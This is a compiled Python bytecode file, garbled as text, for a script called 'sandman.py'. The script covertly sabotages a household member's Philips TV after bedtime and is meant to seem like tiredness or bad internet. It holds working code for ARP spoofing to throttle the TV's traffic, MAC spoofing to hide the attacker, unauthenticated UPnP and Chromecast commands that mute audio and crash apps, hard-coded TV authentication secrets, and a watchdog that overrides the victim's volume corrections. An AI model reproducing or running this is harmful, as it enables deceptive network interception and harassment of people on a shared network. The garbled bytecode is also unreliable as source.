i  dZddlZddlZddlZddlZddlZddlZddlZddlZddl Z ddl Z ddl Z ddl Z ddl Z ddlZddlmcmZej(dZdVdefdZdWdedededzfd ZdXdefd ZdYd ededzfd Zd ZdZdZdZ dZ!dededededededzf dZ"dededededzfdZ#dededededzfdZ$dede%dzfdZ&dede%defdZ'dededefdZ(dedefdZ)dedefd Z*dede+dzfd!Z,dZded"edefd#Z-ded$edefd%Z.Gd&d'Z/Gd(d)Z0d[ded*e%d+efd,Z1d\ded-efd.Z2defd/Z3d0Z4d1Z5d2Z6ded3edefd4Z7ded5efd6Z8dedefd7Z9ded8ed9e%fd:Z:Gd;d<Z;d=Z< d]ded>ed?eded@edAef dBZ=dVdede+fdCZ>dDedEe+defdFZ?dGedEe+de%fdHZ@dGedIe%dEe+deAfdJZBdGedEe+defdKZCd^dedLedMe+dedGef dNZDdEe+defdOZEdEe+deFfdPZGd_dQedRedefdSZHdTZIeJdUk(reIyy)`uSandman — gradually make TV watching unpleasant after bedtime. Uses UPnP DLNA + Chromecast APIs (no auth required on the Philips 55OLED708). Multi-vector: audio degradation + video quality degradation + app instability. Subtle enough that it feels like tiredness + bad internet, not sabotage. Usage: python3 sandman.py # default: start at 22:30 python3 sandman.py --start 23:00 # start at 11pm python3 sandman.py --tv 192.168.1.5 # different TV IP python3 sandman.py --gateway 192.168.1.1 # gateway for bandwidth throttle python3 sandman.py --no-throttle # skip bandwidth throttling python3 sandman.py --dry-run # just print actions, don't send Requires for bandwidth throttling (optional, install once): pip install scapy # for ARP spoofing (pure Python, no dsniff needed) sudo sysctl -w net.inet.ip.forwarding=1 Nsandmanlog_dirctjtjtjdd}tj t j}|jtj|j|tj||@tjjtjjt}tjj!|d}tj"j%|ddd }|jtj|j|tj|tj'd |d y) z6Configure logging with console + rotating file output.z'%(asctime)s [%(levelname)s] %(message)sz%Y-%m-%d %H:%M:%S)datefmtNz sandman.logiPzutf-8)maxBytes backupCountencodingz Logging to z (5MB x 3 rotation))logsetLevelloggingDEBUG Formatter StreamHandlersysstdoutINFO setFormatter addHandlerospathdirnameabspath__file__joinhandlersRotatingFileHandlerinfo)rfmtchlog_pathfhs /share/sandman.py setup_loggingr$*sLL   1# C   szz *BKK OOCNN2''//"''//(";<ww||G]3H    - -?G . BKK OOCNN2HH{8*$7 89 interfacedry_runreturnc<dtdtdDz}|rtjd||S t j dd|dgdd t jd t j d d |d |gdd t j dd|dgdd t jdtjd||S#t$r=}tjd|t j dd|dgdYd}~yd}~wwxYw)zRandomize MAC address to hide MacBook as attack source. Requires: sudo. Disconnects WiFi briefly during change. Returns the new MAC, or None if failed.z02:%02x:%02x:%02x:%02x:%02xc3HK|]}tjddyw)rN)randomrandint).0_s r# z randomize_mac..Ks3]T\qFNN1c4JT\s "z [DRY] Would spoof MAC to networksetup-setairportpoweroffTcapture_outputtimeoutsudoifconfigetheronu 🎭 MAC spoofed to z MAC spoof failed: r6N) tupleranger r subprocessruntimesleep Exceptionwarning)r&r'new_maces r# randomize_macrHGs ,e3]TYZ[T\3].]]G .wi89(:IuM&*A 7 1  IwH&*A 7 (:ItL&*A 7 1  )'34  )!-.(:ItL&* , sBC D3DDc tjdd|dgddtjdtjdd|dgddtj d y #t $rYy wxYw) zVRestore original MAC by cycling the interface (hardware MAC returns on reboot anyway).r2r3r4Tr1r5r8r<u& 🎭 MAC restored (hardware default)N)r@rArBrCr rrD)r&s r# restore_macrJfsk (:IuM&*A 7 1 (:ItL&*A 7 9;    sA"A%% A10A1r7c ddl} dt|d}|j|j|j|j}|j |j |jd|jt|d|j|jd |jd\}}|jd }d |vsd |jvr|j|dSR#|j $rYnwxYw|jn#t"$rYnwxYwddl}d }t'ddD cgc]} d|  ncc} w} } |j(j+d5} |j(j-| D cic]} | j/|| | ncc} wc} D]!} | j1} | s| ccdddS dddy#1swYyxYw)ziFind the Philips TV on the network via SSDP multicast, falling back to JointSpace probe on known IPs.rNzKM-SEARCH * HTTP/1.1 HOST: 239.255.255.250:1900 MAN: "ssdp:discover" MX: z ST: ssdp:all r)z239.255.255.250ilireplace)errorsPhilipsIntelSDKandroidc tjjtjjd|ddt dj }|j dk(r|S y#t$rYywxYw)Nhttps://z:1926/6/systemrLssl)r7context)urllibrequesturlopenRequest __import___create_unverified_contextstatusrD)iprs r#probe_ipzdiscover_tv..probe_ips &&&&"^'DE:e#4#O#O#Q'Axx3    sA*A// A;:A;z 192.168.1.) max_workers)socketintAF_INET SOCK_DGRAM IPPROTO_UDP setsockopt IPPROTO_IPIP_MULTICAST_TTL settimeoutminsendtoencoderecvfromdecodelowercloser7rDconcurrent.futuresr?futuresThreadPoolExecutor as_completedsubmitresult)r7_socketssdp_msgsockdataaddrresp concurrentr_i candidatespoolr]rxs r# discover_tvrts  w<.!  ~~goow/A/A7CVCVW **G,D,DaH GQ( HOO%'@A !]]40 d{{){4$, TZZ\0IJJL7N          -2!RL9LqJqc"L9J9    . .2 . >$ ((555? @ZrT[[2 & *Z @ FB ? >  ?  ? saB"D")AC<;C<<D D" DD"" D.-D. E6G%F+ *"G% G%G%%G.iz/upnp/control/RenderingControl1z/upnp/control/AVTransport1iHz {body} tv_iprserviceaction body_innercd|dt|}tj|}dd|d|dd}tjj ||j |d } tjj|d 5} | jjcdddS#1swYyxYw#t$rYywxYw) Nhttp://:)bodyztext/xml; charset="utf-8""#) Content-Type SOAPActionPOST)r|headersmethodr1r7) UPNP_PORT SOAP_ENVELOPEformatrVrWrYrnrXreadrprD) rrrrrurlrrreqr~s r# soap_requestrs E7!I;tf -C   Z  0D3'!F81-G .. 4;;='RX YC ^^ # #C # 3t99;%%'4 3 3 s0#!B8B," B8,B51B85B88 CCc(t|td||S)zRenderingControl request.z/urn:schemas-upnp-org:service:RenderingControl:1)rRENDERING_CONTROLrrrs r# rc_requestrs 0I  ,,r%c(t|td||S)zAVTransport request.z*urn:schemas-upnp-org:service:AVTransport:1)r AV_TRANSPORTrs r# avt_requestrs |D  ,,r%cd}t|d|}|ytjd|}|rt|j dSdS)Nz 0Master GetVolumez$(\d+)r8)rresearchrdgroup)rrr~ms r# get_volumersJ KD e[$ /D | 94@A3qwwqz?)T)r%volumecTdtdtd|d}t|d|duS)Nz 0Master rdz SetVolume)maxrlr)rrrs r# set_volumers<!Sf-.//M QD e[$ /t ;;r%mutec4d|rdndd}t|d|duS)Nz 0Master 10zSetMute)r)rrrs r#set_muters2CS))C GD eY -T 99r%cN d|d}tjddij}tjj ||dddi}tjj |d 5}|jd k(cd d d S#1swYy xYw#t$rYy wxYw)uTry to turn off Ambilight via JointSpace API (port 1925, no auth for GET). POST may or may not require auth — worth trying.r:1925/6/ambilight/powerpowerOffrrapplication/jsonr|rrrrrUNF jsondumpsrnrVrWrYrXr\rDrrr|rr~s r# ambilight_offrsw56zz7E*+224nn$$StF.<>P-Q%S ^^ # #C # 3t;;#%4 3 3 0A1B3B  B BBB B$#B$cN d|d}tjddij}tjj ||dddi}tjj |d 5}|jd k(cd d d S#1swYy xYw#t$rYy wxYw)zRestore Ambilight.rrrOnrrrrrrrUNFrrs r# ambilight_onrsw56zz7D/*113nn$$StF.<>P-Q%S ^^ # #C # 3t;;#%4 3 3 rc2 d|dtd}tjj|d}tjj |d5}t j |jcdddS#1swYyxYw#t$rYywxYw) zGet Chromecast app status.rrz!/setup/eureka_info?options=detailGETrrrN) CAST_PORTrVrWrYrXrloadsrrD)rrrr~s r#cast_get_statusrs}wa {*KLnn$$S$7 ^^ # #C # 3t::diik*4 3 3 s0AB #A>4 B >BB B BBapp_idc  d|dtd|}tjj|d}tjj |d5}|j dvcd d d S#1swYy xYw#t $rYy wxYw) zMKill a Chromecast app. CC1AD845 = default media receiver (Netflix uses this).rrz/apps/DELETErr1r)rUNF)rrVrWrYrXr\rD)rrrrr~s r# cast_kill_apprszwa {&9nn$$S$: ^^ # #C # 3t;;*,4 3 3 s0AA7A+! A7+A40A74A77 BBlevelc> d|dtd}y#t$rYywxYw)z#Set Chromecast volume (0.0 to 1.0).rrz&/setup/assistant/set_night_mode_paramsF)rrD)rrrs r#cast_set_volumer%s3wa {*PQ s  cfeZdZdZddededefdZdefdZdeded zfd Zd Z d Z d e fdZ dZ y )BandwidthThrottlerzThrottle TV's bandwidth via ARP spoofing (scapy) + macOS dummynet (pf/dnctl). Requires: pip install scapy, and running as root for pf/dnctl/raw sockets. r gateway_ipr&c||_||_||_d|_d|_d|_t j|_d|_ d|_ yNF) rrr&active current_bw _spoof_thread threadingEvent _stop_spoof_tv_mac_gw_macselfrrr&s r#__init__zBandwidthThrottler.__init__8sJ $" !$??,  r%r(cX ddl}tjdk(S#t$rYywxYw)z4Check if scapy is importable and we can run as root.rNF) scapy.allrgeteuid ImportError)rscapys r# is_availablezBandwidthThrottler.is_availableCs-  ::<1$ $    ))r]Ncddl}tjddddd|gdd tjd d |gd }|jj }|j d||j }|r|jdSddlm }m }m }m } d| _ ||d||z d|j\} } | D]\} } | |jcSy)uResolve MAC address. Uses ping first (kernel ARP) then falls back to scapy. Ping-based resolution works across WiFi↔ethernet bridge where scapy broadcast may not.rNping-crz-t2Tr1r5arpz-nr=O([\da-f]{1,2}:[\da-f]{1,2}:[\da-f]{1,2}:[\da-f]{1,2}:[\da-f]{1,2}:[\da-f]{1,2})r8)ARPEthersrpconfzff:ff:ff:ff:ff:ffdst)pdstrL)r7iface)rr@rArrprIrrrrrrverbr&src) rr]_rerxoutputrrrrransr/rcvs r# _resolve_maczBandwidthThrottler._resolve_macKs c4b9&*A 7b 1$G%%' JJikqsvsxsx y 771: 33 U23crlBt~~7QFAsu:>> !r%cddlm}m}m}m}d|_||j |d|j|j|j z }||j|d|j|j|jz }|jjsN|||g|jd|jjd|jjsMyy) NrrrsendprrrL)oppsrcrhwdstFrverboser8)rrrrrrrrrrris_setr&wait)rrrrr pkt_to_tv pkt_to_gws r# _spoof_loopzBandwidthThrottler._spoof_loop`s55 t||,ADOO$**#||-- t||,ADJJT__#||-- ""))+ 9i( N    ! !! $""))+r%c|jry|j|j|_|j|j|_|jr |j s1t jd|jd|j dytjgdd|jjtj|jd|_|jj!d|_t j#d |jd|j dy) z4Start ARP spoofing via scapy in a background thread.Nz Could not resolve MACs (TV=, GW=))sysctl-wznet.inet.ip.forwarding=1Tr=targetdaemonu 🔀 ARP spoof active (TV=)rrrrrrr rEr@rArclearrThreadr rstartrrs r#start_arp_spoofz"BandwidthThrottler.start_arp_spoofos ;; ((4 ((9 ||4<< KK6t||nE$,,WXY Z C&* ,  &--T5E5EdS   "  / ~U4<<.PQRSr%kbitsc <|js|j||_tjddddd|dddgd tjgd d j j }d |jd |jd}|d|jd|jdz }||z }tdd5}|j|dddtjgdd tjddgd y#1swYN&6: < >>":1577=vffh *4>>*:& L\],T^^,&* ,t< / .s DDc:|jr=|jj|jjdd|_|jr|j rddlm}m}m }m }d|_ ||j|d|j|j|j |jz }||j |d|j|j|j|j z }td D].}|||g|jd t!j"d 0t%j&gd dt%j&gddt%j&gddd |_d|_y)z>Clean up: stop ARP spoof, remove throttle, restore ARP tables.rrNrrrrL)rrrhwsrcrr1Fr皙?)rrdeleterTr=)r!r%z /etc/pf.conf)rrznet.inet.ip.forwarding=0)rrsetrrrrrrrrrrrr?r&rBrCr@rArr)rrrrr restore_tv restore_gwr/s r#stopzBandwidthThrottler.stops:       "    # #A # .!%D  <A?r]c2ddl} tjddddd|gdd  tjd d d |gdd }|j j }|jd||j}|rCtj|jdjddjdS td5}|D]e}||vs|jd||j}|s(tj|jdjddccdddS dddy#tjtf$rY7wxYw#tjtf$rYwxYw#1swYyxYw#t$rYywxYw)zCResolve IP to MAC via ping + ARP cache lookup. Returns raw 6 bytes.rNrrr-WrTr1r5r]neighshowrr8rrK z /proc/net/arpzC([\da-f]{2}:[\da-f]{2}:[\da-f]{2}:[\da-f]{2}:[\da-f]{2}:[\da-f]{2}))rr@rArIrHrrprrrMrNrrMzfillr&rD)rr]rrxrrr*lines r#rz$LinuxBandwidthThrottler._resolve_macs  NNFD#tS"=*. ; ^^T7FB$?37DF]]))+F bA}}QWWQZ%7%7R%@%F%Fr%JKK o&!DTzJJb #%%)#(==1C1CC1L#MM'&'5))+<=   ))+<=   '   skD?BE? F E>E>55E>* F 4E>6F ?EEE;:E;>FF F FFsrc_macsrc_ipdst_macdst_ipcddl}ddl}||zdz}|jdddddd }|||j|zz }|||j|zz }||zS) z'Build a raw Ethernet + ARP reply frame.rNsz!HHBBHr8irL)structrcpack inet_aton) rrXrYrZr[r_ryethrs r#_build_arp_replyz(LinuxBandwidthThrottler._build_arp_reply sl )+-kk(Avq!Q7 w**6222 w**6222Syr%cPddl} |j|j|j|jd}|j |j df|j|j|j|j|j}|j|j|j|j|j} |jj!sY |j#||j#||jj%d|jj!sY|j'y#t $r"}tjd|Yd}~yd}~wwxYw#t $rYwxYw#|j'wxYw)z$Send poisoned ARP replies every ~1s.rNrz ARP spoof socket failed: r8)rc AF_PACKETSOCK_RAWhtonsbindr&rDr rErcrCrrrrrrsendrrr)rryr{rGr r s r#r z#LinuxBandwidthThrottler._spoof_loopsP  >>'"3"3W5E5Ew}}U[G\]D IIt~~q) * )) MM4??DLL$**F )) MM4::t||T__F  &&--/IIi(IIi(  %%a( &&--/ JJL)  KK5aS9 :   ! JJLsHAEF-"F5F FE<<F F FFFF%cdgt|z} tj|dd}|jdk7rg|jj j }|r.d|vr*tjddj|d ||jdk(Sy#ttjf$r"}tjd |Yd }~y d }~wwxYw) z*Run a tc command. Returns True on success.rFT r5rzRTNETLINK answers: File existsz tc cmd failed:   → z tc command error: NF) listr@rArGstderrrprLr debugrrHrIrE)rargscmdrxrorGs r#_run_tczLinuxBandwidthThrottler._run_tc4sftDz! ^^CbIF  A%--/557>fLII 1#((3-fXNO((A--!:#<#<=  KK.qc2 3 sB B C9CCbandwidth_kbpsc h|jstjdy|j|_|j |j |_|j |j|_ |jr|jr |js>tjd|jd|jd|jdytjgdd |jjtj|j dd |_|j"j%|j'|d|_||_d }tj-d |d||jd||jdy)zStart ARP spoof + tc throttle.u= tc/iproute2 not available or not root — skipping throttleFz MAC resolution failed (us=z, TV=r u) — skipping throttle)rrznet.ipv4.ip_forward=1Tr=z arp-spoof)rrnamec:|rdjd|DSdS)Nrc3$K|]}|d yw)02xNr<)r.xs r#r0zBLinuxBandwidthThrottler.start....bs$;A#wZs?)r)bs r#z/LinuxBandwidthThrottler.start..bsqCHH$;$;;IcIr%u 🔀 Linux throttle active: z kbps (TV=r)rr rErPrCrrrrrr@rArrrrr rr _apply_tcrrr)rrtmac_fmts r#rzLinuxBandwidthThrottler.startCsm  " KKW X))+ ((4 ((9 }}DLL KK6t}}oF"ll^5>UW X @&* ,  &--T5E5Ed3>@   " ~& (I 1.1AB -.eGDLL4I3J!M Nr%cl|j|j}t|}|jddd|dddddd |jd dd|d dd d ddd |jd dd|d dd ddd|dd|d |jddd|d ddddddddd|jdddd|_y)z:Set up HTB qdisc + filter to rate-limit traffic to the TV.qdiscadddevroothandle1:htbdefault10classparentclassid1:10rate1000mbit1:20kbitceilfilterprotocolr]prioru32matchr/32flowidTN) _cleanup_tcr&r:rsrrD)rrtrrs r#r~z!LinuxBandwidthThrottler._apply_tcgs    WeUE68T5 & WeUE8T9fFJ 0 WeUE8T9fFrd$KB4t F XueUHdJPTS%$$**S?Qv ' r%cbtjdddd|jdgddd |_y ) z'Remove all tc rules from the interface.rFrdelrrTrkr5FN)r@rAr&rDrs r#rz#LinuxBandwidthThrottler._cleanup_tc~s.gueT^^VL&*B 8 r%c|jr |jsyddl} |j|j|j|j d}|j |jdf|j|j|j|j|j}|j|j|j|j|j}tdD]9}|j||j|tjd;|jy#t $r"}t"j%d|Yd}~yd}~wwxYw)z0Send correct ARP entries to restore the network.Nrrr1r.z ARP restore failed: )rrrcrerfrgrhr&rcrrr?rirBrCrrrDr rE)rryr{r1r2r/rGs r# _restore_arpz$LinuxBandwidthThrottler._restore_arps||4<<   6>>'"3"3W5E5Ew}}U[G\]D IIt~~q) *.. doot||TZZIJ.. djj$,,IJ1X *% *% 3 JJL 6 KK04 5 5 6sD"E E- E((E-cf|jr=|jj|jjdd|_|jr|j |j tjgddd|_ d|_ tjdy) zBClean up everything: stop ARP spoof, remove tc rules, restore ARP.rrN)rrznet.ipv4.ip_forward=0Tr=Fu+ 🔀 Linux throttle stopped, ARP restored) rrr0rrDrrr@rArrr rrs r#r3zLinuxBandwidthThrottler.stops       "    # #A # .!%D          @&* ,  >?r%NN)r6r7r8r9rBrAr:rr;rrMrPrrcr rsrdrr~rrr3r<r%r#r>r>s E J !c !s !c !de s ut| D  s "' 14 9> 8  "C"H  .! 6,@r%r> duration_msstylec|dk(rttjddD]l}t|dt j tj ddt|dt j tj dd ny |d k(r?t|}|1t|dt j |d z t||y y t|dt j |d z t|dy ) uAudio disruption with multiple styles. Styles: single — one mute/unmute (classic dropout) stutter — rapid on-off-on-off (sounds like buffering/packet loss) fade — drop volume to 3 for duration then restore (gradual, eerie) stutterrr1T皙?333333?F皙?333333?fadeN) r?r,r-rrBrCuniformrr)rrrr/origs r# audio_glitchrs v~~a+,A UD ! JJv~~c3/ 0 UE " JJv~~dD1 2 - &%    ua JJ{T) * ud #   ;%&r% off_durationc\t|r!tj|t|yy)uToggle Ambilight off then on — subtle visual disturbance in peripheral vision. Only works if JointSpace POST is unauthenticated on port 1925.N)rrBrCr)rrs r#ambilight_glitchrs%U < Ur%c4t|dt|dy)uCKill the Netflix/media app via Chromecast — looks like app crash.CC1AD845CA5E8412N)r)rs r# netflix_crashrs%$%$r% a1b2c3d4e5f6@8f075a1826341135dcd3a9dd2ed30a49c327d7e002399fbaefae28d8e1f9936fcX ddl}ddlm}|ttS#t $rYywxYw)z"Get JointSpace digest auth object.rN)HTTPDigestAuth)requests requests.authrJOINTSPACE_DEVICE_IDJOINTSPACE_AUTH_KEYr)rrs r#_js_authrs.024GHH rkey_namec ddl}ddl}|j|jd|dd|it dd}|j d k(S#t $rYywxYw) z9Send a key press via JointSpace. Returns True on success.rNrRz:1926/6/input/keykeyFr1)rauthverifyr7rU)rurllib3disable_warningspostr status_coderD)rrrrr^s r#js_keyrsi   " MMHUG+<= %x0xz!&  3}}## sA A AAendpointc ddl}ddl}|j|jd|d|t dd}|j dk(r|j SdS#t$rYywxYw) z7GET a JointSpace endpoint. Returns parsed JSON or None.rNrRz:1926/6Fr)rrr7rU)rrrgetrrrrD)rrrrr^s r#js_getrsp   " LL8E7'(<&j  C==C/qvvx9T9 sAAA A*)A*ct|d}|r|jddk7ryt|d}|sy|jdijdd }d |jvry d |jvry d |jvsd |jvry d|jvsd|jvryd|jvs|d k(ryy)zDetect what program/app is active on the TV. Returns: 'youtube', 'netflix', 'prime', 'livetv', 'home', 'off', or 'unknown'.z /powerstate powerstaterr4z/activities/currentunknown component packageNameNAyoutubenetflixamazonprimeplaytvchannelslivetvlauncherhome)rrrq)rractivitypkgs r#detect_programrs 5- (E EIIl+t3e23H  ,,{B ' + +M4 @CCIIK ciik ! SYY[ Gsyy{$: SYY[ J#))+$= syy{ "cTkr%programphasec |dk(s|dk(rytjd|zkr|dkrtjddgntjddg}tjd d }t|||tjj j d }tjd |d |d|d|d |dk(rtjd|zkrt|dtjtjddt|dtjj j d }tjd |d|d|dk\rqtjdkrYt|dtjj j d }tjd |d|dn|dk(rtjd|zkrt|dtjtjddt|dtjj j d }tjd |d|dnV|dk(rtjd|zkr6t|dtjtjddt|dtjj j d }tjd |d |dn|d!k(r|dk\rtjdkrt|d"tjtjdd#t|d$tjj j d }tjd |d%|dtjd&|zkrUt|tjj j d }tjd |d'|dyy)(z;Program-aware disruption. Adapts tactics to what's playing.r4rNrrLsinglerr,i%H:%M:%S [] 💥 Audio z (zms) []rrPauser1Playu ] ⏸️ YouTube pause/play [r^rHomeu] 🏠 Kicked to Home [rru ] ⏸️ Netflix pause/play [ru] ⏸️ Prime pause/play [r ChannelStepUprkChannelStepDownu] 📺 Channel flip [Q?u] 💡 Ambilight flicker [)r,choicer-rdatetimenowstrftimer rrrBrCrr)rrrrdurrs r#program_disruptionrso%7f,}}u$8=  x34 W`bhViHjnnS$'UC'##%..z: 3se?5'C5gYaHI) ==?TE\ ) 5' " JJv~~a+ , 5& !##'')22:>C HHs3%?yJ K A:&--/D0 5& !##'')22:>C HHs3%8 C D I  ==?TE\ ) 5' " JJv~~a+ , 5& !##'')22:>C HHs3%?yJ K G  ==?TE\ ) 5' " JJv~~a+ , 5& !##'')22:>C HHs3%=gYaH I H  A:&--/C/ 5/ * JJv~~a, - 5+ ,##'')22:>C HHs3%6wiqA B}}%##%..z: 3se7yBC&r%c4eZdZdZd dedefdZdZdZdZ y) VolumeWatchdogzBackground thread that monitors volume and corrects fight-backs. Waits a random delay before correcting so it feels like a 'drift' not a snap.rcorrection_delayc|||_d|_||_tj|_d|_d|_yNr)r target_volumerrr_stop_thread fight_backs)rrrs r#rzVolumeWatchdog.__init__`s6 ! 0__&  r%ctj|jd|_|jj y)NTr)rr_runrrrs r#rzVolumeWatchdog.starths* ''tyyF  r%c|jj|jr|jjdyy)Nrr)rr0rrrs r#r3zVolumeWatchdog.stopls1  << LL  a  ( r%c |jjs|jmt|j}|U||jdzkDrB|xj dz c_t j jjd}tjd|d|d|jtj|j}|jj||jjry|jtjddz}t!|j|t j jjd}tjd|d|d |d d |jjtjd d |jjsyy)Nr8rru] 👴 Fight-back detected: z > target rrLu] ↩️ Corrected to z (after .0fs)rr])rrrrrrrrrr rr,rrrr-r)rcurrentrdelay correcteds r#rzVolumeWatchdog._runqss**##%!!-$TZZ0&7T5G5G!5K+K$$)$"++//1:::FCHHs3%'CG9JW[WiWiVjkl"NND,A,ABEJJOOE*zz((* $ 2 2V^^Aq5I IItzz95"++//1:::FCHHs3%'A)HUZ[^T__abc JJOOFNN1a0 1#**##%%r%N))r) r6r7r8r9r:r>rrr3rr<r%r#rr\s*UcU) 2r%rctd)z?Legacy run() function removed in v4. All logic now in run_v4().z0Use run_v4() or python3 sandman.py (no --legacy))NotImplementedErrorr<r%r#_legacy_run_removedr s P QQr%r start_timethrottle spoof_macc2./tt|jd\}}tj||}rOsMt j dtjdk7rt jdntnrr tdd.|r`s^t||..jrt j dn,t j dt j d d.|d k(s|Ot j d t}|rt j d |nt jd t j d|xsdt j d|t j d.rdndzt j dt j ds t|nd/dv./fd } tjtj | tjtj"| d} d} d} d} t%|}|dkr\tjj'j)d}t j+d|dt j,dmrdn t/|}tjj'j)d}|st j d|d|dtd}|r6||k7r1|}t j d|d|/r|/_t/|}|,t j+d t j,d!;r| xsd"}| 1|/|| d#zkDr'| d#z } t j d|d$| d%|d&| d' | d#z } |d(kr,d#}d#}t3j4d)d*dz}d+\}}}d,\}}}d-}n|dkr@d.}t3j4d#d.}t3j4dd/dz}d0\}}}d1\}}}d2}n|d3kr@d4}t3j4d#d4}t3j4d4d5dz}d6\}}}d7\}}}d8}n?d9}t3j4d.d9}t3j4d.ddz}d:\}}}d;\}}}d<}| d4k\r7|dkr2t j d|d=d} t j,d>t7d4||z }g}s t9|||j;d?|d@||} /rN|/_/j>r/j>jAs!/jC|j;dA.r)s'.jE||j;dB|dCn.r|j;dB|dCg}t3j2|krt3j4dDdE}t3j4d(t7dt|dFz} |d.krt3jFdGgd4zdHgznt3jFgdI}!|j;dJ| ||!ft3j2|krAt3j4dt7d3t|dKz} |j;dL| ddft3j2|krct3j4dMt7d3t|dNz} t3jHd.d5}"|j;dO| t|"dPzdft3j2|krXt3j4d3t7d!t|dQz} t3jFdRdSg}#|j;dT| d|#ft3j2|krAt3j4dt7d3t|dUz} |j;dV| ddf|jKdWX|D]\}$}%}&}'|$dJk(r|j;dY|'dZ|&d[|%d\)|$dLk(r|j;d]|%d\D|$dOk(r|j;d^|&dPz d_d`|%d\f|$dTk(r|j;da|'db|%d\|$dVk(s|j;dc|%d\t j d|dd|dedejM|df|dzdgt|dh d}(|D]v\}$}%}&}'|%|(z })|)dkDrt j,|)|(|)z }(tjj'j)d}*|$dJk(r4s2tO||&|'xsdGit j d|*dj|'dZ|&dk|$dLk(r's%tQ|t j d|*dl|$dOk(rTsRtS|dmt j,|&dPz tS|dnt j d|*do|&dPz d_dp|$dTk(r+s)tS||'t j d|*dq|'H|$dVk(sOrStU|t j d|*drysltW|}+|+dsk7r\tY||+|tjj'j)d},|+| k7rt j d|,dt|+|+} ||(z t3j4dud(z}-t j,t7d(|-)wNru7 🎭 Spoofing MAC address to hide MacBook identity...rzE MAC spoofing requires sudo. Run: sudo python3 sandman.py --spoof-macT)r'z1 Bandwidth throttling: ENABLED (running as root)z Bandwidth throttling: DISABLEDz; To enable: pip install scapy && sudo python3 sandman.pyauto& 🔍 Auto-discovering TV via SSDP... 📺 Found TV at u* TV not found — will retry on each cycleu 🌙 Sandman v2 active. Target: auto-discoverz Bedtime starts at z9 Vectors: volume + audio glitch + ambilight + app crashz + bandwidth throttlerK Dry run: ctjdrjrjr s tt j dy)Nu3 🌅 Sandman shutting down. Restoring network...r)r rr3rJrexit)sigframer'r  throttlerwatchdogs r#cleanupz_old_run..cleanups> GH  MMO  NN  W M  r%rz Waiting for z...<rz] TV unreachable at u — scanning...r1ru] 📺 TV moved to u*TV off or not found — checking in 2 min.xrr8u] 👴 Dad fought back! Vol rmz (#rr`rra){Gz?{Gz?)rrrirLrk)rrr)rrrZr)g?rr)rrr r^)gffffff?rr)rrrru@] 🕊️ Backing off — too much resistance. 15 min cooldown.izvol →z watchdog ONubw→kbpsrUg?rr)rrrraudio? ambilight-g333333?pauserg?Backrnavigateffffff?crashc |dS)Nr8r<rzs r#r}z_old_run..Usqtr%ru 💥audio/(zms@+ru 💡ambi(@+u ⏸️pause(.1fzs@+u🏠z(@+u 💀crash(@+z] P | z | next ~zm | +r)rrms)u] 💡 Ambilight off/onrr] ⏸️ Pause su ] 🏠 u] 💀 App crashedr4u] 📡 Program: ir)-maprdsplitrrBr rrrrErHrrrrsignalSIGINTSIGTERM minutes_sincerrrprCrrr,r-rrappendrris_aliverr+rrsortrrrrrrr)0rrr r'r r start_hstart_mbedtimer prev_volumefight_back_count cycle_count prev_programelapsednow_strrnew_iprvol_dropintervalp_audiop_videop_crashp_pausep_ambip_nav bw_targetnew_volactions disruptionsrrr pause_durnav_typed_typed_delayd_durd_style time_spent sleep_fornrnow_p remainingrrs0 ` ` @@r#_old_runrbs[ 3 0 0 56GWmmGW-G JK ::<1  KK_ ` O wd#I&uj9  ! ! # HHH J HH7 9 HHR TI %- 9:   HH*5'2 3 KKD EHH/0H/I JKHH$ZL 12HHH(1 $r;<HH|G9 %&HHRL-4~e$H MM&--) MM&..'*KKL ( Q;''++-66zBG II ZL4 5 JJrN "$z%'8##'')22:> ?7 HHs7)#7w>NO P +F&E/3wi':5'BC%*HN$U+ FH 3 !'RG  "w':wWX?X  !  HHs7)#? }ERYQZ['(+ , q  R<EH~~a,r1H(8 %GWg%5 "GVUI r\E~~a+H~~a,r1H(8 %GWg%5 "GVUI r\E~~a+H~~a+b0H(8 %GWg%5 "GVUIE~~a+H~~a+b0H(8 %GWg%5 "GVUI q Wr\ HHs7)#cd e  JJsO a8+, ug &gYc'34  %,H "##8+;+;+D+D+F }- W  # #I . NNU9+T2 3  NNU9+T2 3 ==?W $..d+CNN2s2s8c>/B'CDECHA:FMM8*q.I;">?]]#KL    U; < ==?V #NN2s2s8c>/B'CDE    UAt< = ==?W $NN2s2s8c>/B'CDEq!,I   I4D0EtL M ==?U "NN2s3HsN0C'DEE}}ff%56H    E1h? @ ==?W $NN2s2s8c>/B'CDE   48 9 ^,/: +FGUG G9AeWD LM;&WIR897"eDj-=S LM:%gYc'"=>7"gYb9:0; 3wis5'UZZ-@,AB2~&eCL>< = /: +FGUG*,I1} 9%i' !!%%'00&D&DS&IJJ  2% 3NOj0M& xx"}szz)H. X%6G.  ] " .0C=>;Y4ZZ ii+S1G YY)3 /F sL7*[6-AA BBr%severity_levelc|dd}d}t|jdD]\}}|t|k\s|}|S)zBGet the maximum action severity allowed at current severity level.rhmax_severity_at_levelr8ct|dSr)floatr0s r#r}z"get_max_severity..s uQqT{r%r1)sorteditemsr)rr thresholdsmax_sev threshold_strsevs r#get_max_severityrsR()*ABJG$Z%5%5%7=RS s U=1 1GT Nr% max_severityc4g}g}|djD]a\}}|d|kDr|jdd}||kr'd||ddz zdzz}|j||f|j|d|zc|sy tj||d d S) zSPick a random action weighted by base weight. Returns (action_name, action_config).rUseveritymin_severity_levelrrjr8r' weight_baser)weightskr)rrr>r,choices) rrreligiblerrvacfg min_levelboosts r# pick_actionrsHGY'--/ d  l * HH137 I % nZ(81(<=CCt %tM*U230  >>(Gq 9! <y|d?k(r't%|d@dAtj d|dBy|dCk(r`tj|jd8d@|jd:dD}t%||dEtj d|dF|d>y|dGk(rtj|jd*d|jd,dH} t#|d.tj| t#|dItj d|dJ| dKdLy|dMk(r6t'||jdNdtj d|dOy|dPk(rt#|dQtj|jdRd|jdSd+}tj|t#|dTtj d|dU|d0d#y|dVk(r&t#|d5tj d|dWy|dXk(r&t#|dYtj d|dZy|d[k(rtj gd\gd]gd^gd_gd`gdagdbgdcgddgdegdfgdggdhgdigdjgdkgdlgdmgdngdogdpgdqgdrgdsggdtgdugdvgdwgdxgdygdzgd{}g}|D]7\}}t#||tj||j)|9tj d|d|d}j+|y|d~k(rX|jdd@}|jddD}|jdd}|jdd}t-d|dz }td;t/|||z |zz }|||z |zz}t0j2j5d}|sl t7j8ddgdt6j:t6j:tjdt0j2j5d}|stj?d|dyd} t7j@dddd|dgdt7j@dddd|ddddddg ddt7j@dddd|dddddddg ddt7j@dddd|dddddd|dd|dgddt7j@dddd|dddddddddd|dddgddtj d|d|d|dz 